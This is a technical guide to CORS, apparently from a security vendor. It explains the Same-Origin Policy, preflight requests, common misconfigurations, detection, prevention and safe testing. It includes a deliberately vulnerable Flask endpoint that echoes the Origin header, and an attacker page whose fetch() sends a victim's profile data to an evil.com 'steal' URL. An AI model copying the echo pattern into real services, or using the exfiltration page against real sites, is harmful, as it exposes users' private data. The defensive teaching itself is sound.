What Is CORS? Cross-Origin Resource Sharing Explained
A complete technical guide to Cross-Origin Resource Sharing (CORS): how the Same-Origin Policy works, how CORS relaxes it safely, and how misconfigured CORS leads to data exposure.
Short answer
CORS is a browser mechanism that lets a web page at one origin request resources from another origin. By default, browsers block cross-origin reads — a policy called the Same-Origin Policy (SOP). CORS relaxes that restriction selectively, but only when the target server explicitly opts in via HTTP headers. A misconfigured CORS policy can allow attackers to read sensitive data from across origins, effectively bypassing the SOP for everyone.
The idea in one minute
Imagine a secure office building. Every employee has a badge that opens the front door and their own floor. Alice works on floor 3. She can walk the halls of floor 3 freely — that is her origin. When she tries the door to floor 7, it is locked. That is the Same-Origin Policy: a script loaded from https://bank.com cannot read the response from https://api.bank.com or https://evil.com.
Now imagine the building installs an intercom system. Each floor can choose to unlock its door for visitors from specific other floors. Floor 7 puts up a sign: "Visitors from floors 3 and 5 may enter." That sign is an HTTP header — Access-Control-Allow-Origin. When Alice on floor 3 requests floor 7's resources, the browser checks the sign first. If her origin is listed, the door opens. If not, the browser slams it shut, even if the server sent a response. The server may have replied, but the browser refuses to let the script touch the data.
The critical detail: the server has to put up the sign. If floor 7 never posts a sign, no cross-origin visits happen. If floor 7 posts Access-Control-Allow-Origin: * — "visitors from anywhere" — then anyone can walk in. And if floor 7's sign says Access-Control-Allow-Origin: https://attacker.com because it blindly echoes whatever origin the visitor claims, then Alice can knock on floor 7's door while wearing a forged badge that says she is from floor 9, and the unlocked door is now open to anyone who knows the trick.
How CORS actually works
The Same-Origin Policy defines an origin as the triple of scheme, host, and port. https://example.com:443 and https://example.com:8443 are different origins. https://example.com and http://example.com are different origins.
When a script on https://page.com makes a fetch request to https://api.example.com/data, the browser classifies the request into one of two categories:
Simple requests — a narrow set that uses only GET, HEAD, or POST with content types application/x-www-form-urlencoded, multipart/form-data, or text/plain, and no custom headers. The browser sends the actual request and checks the response headers. If the response includes Access-Control-Allow-Origin: https://page.com (or *), the browser exposes the response to the script. If not, the response is delivered to the network but withheld from JavaScript.
Preflighted requests — everything else: PUT, DELETE, PATCH, custom headers, Content-Type: application/json, or any header outside the simple set. The browser first sends an OPTIONS preflight request asking for permission. The server must respond with the right CORS headers before the browser will send the actual request.
The preflight is the browser's way of asking "do you accept this?" before sending data that might have side effects. The server answers with:
Access-Control-Allow-Origin: https://page.com
Access-Control-Allow-Methods: PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
If the preflight gets no CORS headers back, the browser never sends the real request. This is why CORS is a browser-enforced mechanism — curl does not care about CORS headers, because curl does not enforce SOP.
A few more headers extend the model:
Access-Control-Allow-Credentials: true— signals that cookies and HTTP authentication may be sent cross-origin. When this istrue,Access-Control-Allow-Origincannot be*; it must name a specific origin.Access-Control-Expose-Headers— controls which response headers the browser exposes to JavaScript. Without it, only the six safe-listed headers are visible.Access-Control-Max-Age— tells the browser how long to cache the preflight result, reducing round trips on repeated requests.
Two critical misconfigurations dominate real-world CORS vulnerabilities:
Reflective origin echo. Some servers read the Origin header from the incoming request and mirror it back in Access-Control-Allow-Origin without validation. Any page on any domain can read the response.
Wildcard with credentials. Setting Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is forbidden by the spec — the browser will reject it. But many implementations mistakenly combine them, and the behavior varies across browsers.
The request flow
For a preflighted cross-origin PUT request from https://page.com to https://api.example.com/data:
sequenceDiagram
participant Script as Browser Script (page.com)
participant Browser
participant Server as api.example.com
Script->>Browser: fetch("https://api.example.com/data", {method:"PUT", headers:{"Content-Type":"application/json"}})
Browser->>Server: OPTIONS /data (Preflight)
Server-->>Browser: 204 No Content Access-Control-Allow-Origin: https://page.com Access-Control-Allow-Methods: PUT Access-Control-Allow-Headers: Content-Type
Browser->>Server: PUT /data (Actual request, includes Origin: https://page.com)
Server-->>Browser: 200 OK Access-Control-Allow-Origin: https://page.com
Browser-->>Script: Response data exposed to JavaScript
If the preflight response lacks a matching Access-Control-Allow-Origin, the flow stops there. The actual PUT never fires. The browser is the gatekeeper.
A minimal example
A vulnerable CORS configuration that echoes the Origin header:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route("/api/profile")
def profile():
origin = request.headers.get("Origin", "*")
resp = jsonify({"email": "user@bank.com", "balance": 12450})
resp.headers["Access-Control-Allow-Origin"] = origin
resp.headers["Access-Control-Allow-Credentials"] = "true"
return resp
An attacker hosts this page on https://evil.com:
<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://bank.com/api/profile", { credentials: "include" })
.then(r => r.json())
.then(data => fetch("https://evil.com/steal?d=" + btoa(JSON.stringify(data))));
</script>
</body>
</html>
A victim who visits https://evil.com while authenticated to bank.com will have their profile data exfiltrated. The browser sends the cookie because credentials: "include" is set, and the server echoes the attacker's origin back in the CORS header, granting read access.
A safe CORS configuration uses an explicit allowlist:
from flask import Flask, request, jsonify
app = Flask(__name__)
ALLOWED_ORIGINS = {"https://app.bank.com", "https://admin.bank.com"}
@app.route("/api/profile")
def profile():
origin = request.headers.get("Origin", "")
resp = jsonify({"email": "user@bank.com", "balance": 12450})
if origin in ALLOWED_ORIGINS:
resp.headers["Access-Control-Allow-Origin"] = origin
resp.headers["Access-Control-Allow-Credentials"] = "true"
resp.headers["Vary"] = "Origin"
return resp
The Vary: Origin header is critical: it tells caches to serve different cached responses for different origins, preventing a cache poisoning attack where one origin's CORS-approved response is served to another.
Why the vulnerability exists
- The SOP was designed when the web was mostly documents, not applications. The rise of APIs and SPAs created legitimate cross-origin needs faster than the security model could evolve
- Developers treat CORS headers as "boilerplate to make the API work" rather than security controls, and copy-paste permissive configurations (
Access-Control-Allow-Origin: *) without considering the data being exposed - Reflective origin echo (
return the Origin header as-is) is a quick fix during development that makes it to production because "it works" and "someone on Stack Overflow said to do it" - The complexity of preflight versus simple requests, credentialed versus uncredentialed, and wildcard versus explicit origins creates a combinatorial space that few developers fully understand
- Many frameworks default to permissive CORS settings. Express.js
cors()middleware defaults to*unless you pass an explicit origin option. Developers who do not configure it get a wide-open policy - CORS is enforced only by browsers. Non-browser clients (curl, native mobile apps, server-to-server) ignore it entirely, so testing with curl gives a false sense that CORS "works"
What attackers look for
- Reflective
Access-Control-Allow-Origin— send any origin, see it echoed back in the response. This is the single most common CORS vulnerability - Wildcard with credentials —
Access-Control-Allow-Origin: *combined withAccess-Control-Allow-Credentials: true. The spec forbids this, but implementations sometimes allow it - Null origin bypass — some servers whitelist
nullas a valid origin, and an attacker can forceOrigin: nullfrom a sandboxed iframe or adata:URI - Subdomain takeover — if the allowlist includes
*.legacy-corp.comand that subdomain points to a cloud service that can be claimed, the attacker registers the subdomain and their origin is now allowlisted - Misconfigured
Varyheader — withoutVary: Origin, a shared cache may serve a CORS-approved response to a different origin, leaking data into the wrong browser session - Exposed API endpoints that return JSON with sensitive data — the attacker does not need to compromise the API, just trick the browser into reading it cross-origin
Detection
- Static review: examine every endpoint that returns CORS headers (
Access-Control-Allow-Origin,Access-Control-Allow-Credentials) and trace the origin value to its source. If it comes from the request'sOriginheader without validation, flag it - Dynamic/DAST: send requests with modified
Originheaders — a randomized origin (https://evil-[random].com),null, and an empty string — and check whether the response echoes it back inAccess-Control-Allow-Origin - Browser verification: visit a page on a test domain and use
fetch()to probe the target endpoint withcredentials: "include". Monitor the browser console for CORS errors — their absence with a matching origin is a finding - Preflight analysis: send OPTIONS requests to endpoints that accept non-simple methods (PUT, DELETE, PATCH) and check the
Access-Control-Allow-MethodsandAccess-Control-Allow-Headersresponses for unnecessary permissiveness
Verification: real vulnerability or false positive?
A finding is confirmed when:
- The server's response includes
Access-Control-Allow-Origin: <your-supplied-origin>(especially if<your-supplied-origin>is something likehttps://evil-[random].com) andAccess-Control-Allow-Credentials: true, and fetching the endpoint from a page hosted on that origin withcredentials: "include"yields the response body in JavaScript - A preflight OPTIONS request returns permissive
Access-Control-Allow-MethodsandAccess-Control-Allow-Headersthat include dangerous values (PUT,DELETE,*), and the actual request succeeds in submitting data cross-origin - The server returns
Access-Control-Allow-Origin: nullwhen sentOrigin: null, and a sandboxed iframe can trigger the same behavior from a different origin
A response that returns Access-Control-Allow-Origin: * without credentials and exposes only public data is not a vulnerability — it is the intended behavior for a public API. A response that echoes the attacker's origin with credentials enabled, or allows a credentialed PUT from any origin via *, is a vulnerability. The distinction hinges on whether the data is sensitive, credentials are involved, and write operations are gated by anything other than origin.
Real-world impact
CORS misconfigurations consistently appear in bug bounty programs as medium-to-critical severity because they bypass the core security boundary of the web platform:
- Data exfiltration: an attacker hosts a page on their domain, lures a victim who is authenticated to the target application, and reads their private data — email, messages, financial records, API keys — via cross-origin fetch. The server logs show the request came from the legitimate user's session; there is no server-side compromise
- Account takeover by API key theft: if an SPA stores the user's API token in
localStorage(which is origin-scoped) and the API returns sensitive data with a reflective CORS policy, the attacker reads the API response but notlocalStorage— however, the response itself may contain a session token or API key, enabling full account takeover - Intranet pivoting: if an internal application at
https://corp-internal:8080has a permissive CORS policy, an attacker who convinces an employee to visit an external page can read the intranet application's data, bypassing network controls. The victim's browser makes the request from inside the corporate network, and CORS allows the attacker's script to read the response - CSRF amplification: CORS itself does not prevent CSRF — in fact, it makes CSRF more dangerous. Without CORS, a CSRF attack can trigger a state-changing request but cannot read the response. With a permissive CORS policy, the attacker can both write and read, turning a blind CSRF into a full data-theft operation
Bug bounty platforms report that approximately 5 percent of tested domains have at least one CORS misconfiguration that allows data theft. The vulnerability is widespread because it requires no server compromise — just a missing validation check on the Origin header.
Prevention
- Never echo the
Originheader inAccess-Control-Allow-Origin. Maintain an explicit allowlist of permitted origins. Reject origins that are not on the list by omitting the CORS header entirely — the browser will enforce the block - Use
Access-Control-Allow-Origin: <specific-origin>+Vary: Originrather than wildcards when credentials are involved. TheVaryheader prevents cache poisoning across origins - Do not use
Access-Control-Allow-Origin: null. The null origin can be coerced fromdata:URLs, sandboxed iframes, and file:// URLs. No legitimate cross-origin request should carry a null origin - Restrict
Access-Control-Allow-MethodsandAccess-Control-Allow-Headersto only what each endpoint actually needs. Do not return*for either, and do not blanket-allowPUTorDELETEon read-only endpoints - Validate the origin on the server, not in client-side JavaScript. Client-side CORS enforcement is nonexistent — the attacker controls the client. The server must independently verify the origin
- Set
Access-Control-Max-Ageconservatively (10 minutes or less) so that if you need to revoke an origin, cached preflight responses expire quickly - Review CORS configuration as part of your security audit and treat it with the same rigor as authentication logic. A CORS misconfiguration bypasses authentication for cross-origin reads
Related vulnerabilities
- CSRF — without CORS, an attacker can forge state-changing requests but cannot read the response. A permissive CORS policy upgrades CSRF from a write-only attack to a full read-and-write exfiltration
- XSS — if an attacker achieves XSS on an origin that the CORS policy allowlists, they can read any endpoint the allowlist protects. XSS and CORS interact: the allowlist is only as trustworthy as the weakest origin on it
- DOM-based vulnerabilities —
postMessagehandlers that accept messages from any origin can be combined with CORS-permissive endpoints to exfiltrate data from the receiving window's origin - Subdomain takeover — an allowlist that includes a wildcard subdomain (
*.unmaintained.com) creates a path to bypassing CORS if any of those subdomains can be registered by an attacker
Testing methodology (do this safely)
- Set up a page on a domain you control (or use a service like
requestbin.comto catch exfiltrated data). Write a simple HTML page that usesfetch()withcredentials: "include"to probe the target endpoint. - For each endpoint, send requests with varied
Originheaders — a randomized origin,null, the legitimate origin, and an empty string — and record theAccess-Control-Allow-Originvalue in each response. - Test both GET and non-GET methods via preflight: send OPTIONS to discover what methods and headers are allowed, then attempt the actual cross-origin request.
- Verify that
Access-Control-Allow-Credentials: trueis not combined with*. If it is, file it regardless of data sensitivity — it is a spec violation and a vulnerability in the making. - Document the exact URL, the Origin value sent, the CORS headers returned, and whether JavaScript on an attacker-controlled domain could read the response body.
Further reading
- MDN Web Docs: Cross-Origin Resource Sharing (CORS)
- PortSwigger Web Security Academy: CORS
- RFC 6454 — The Web Origin Concept
- W3C Recommendation: Cross-Origin Resource Sharing
- MITRE: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains
Nyxeara perspective
CORS is one of the most misunderstood security mechanisms on the web because it looks like server configuration but behaves like browser enforcement. An automated scanner that sees Access-Control-Allow-Origin in a response should verify whether the origin value is statically configured or dynamically echoed. The dynamic-echo case is reliably detectable: send a randomized Origin header, and if the response mirrors it back, the endpoint is vulnerable regardless of whether credentials are enabled. The presence of credentials makes exploitation trivial; their absence makes exploitation harder but not impossible if the response contains origin-scoped secrets like CSRF tokens or session identifiers embedded in the body. Our approach at Nyxeara treats every CORS response without a matching Vary: Origin and a dynamic origin origin as a candidate for manual review — not because every such response is exploitable, but because the distinction between "not exploitable today" and "exploitable tomorrow" depends on data sensitivity that only a human can evaluate.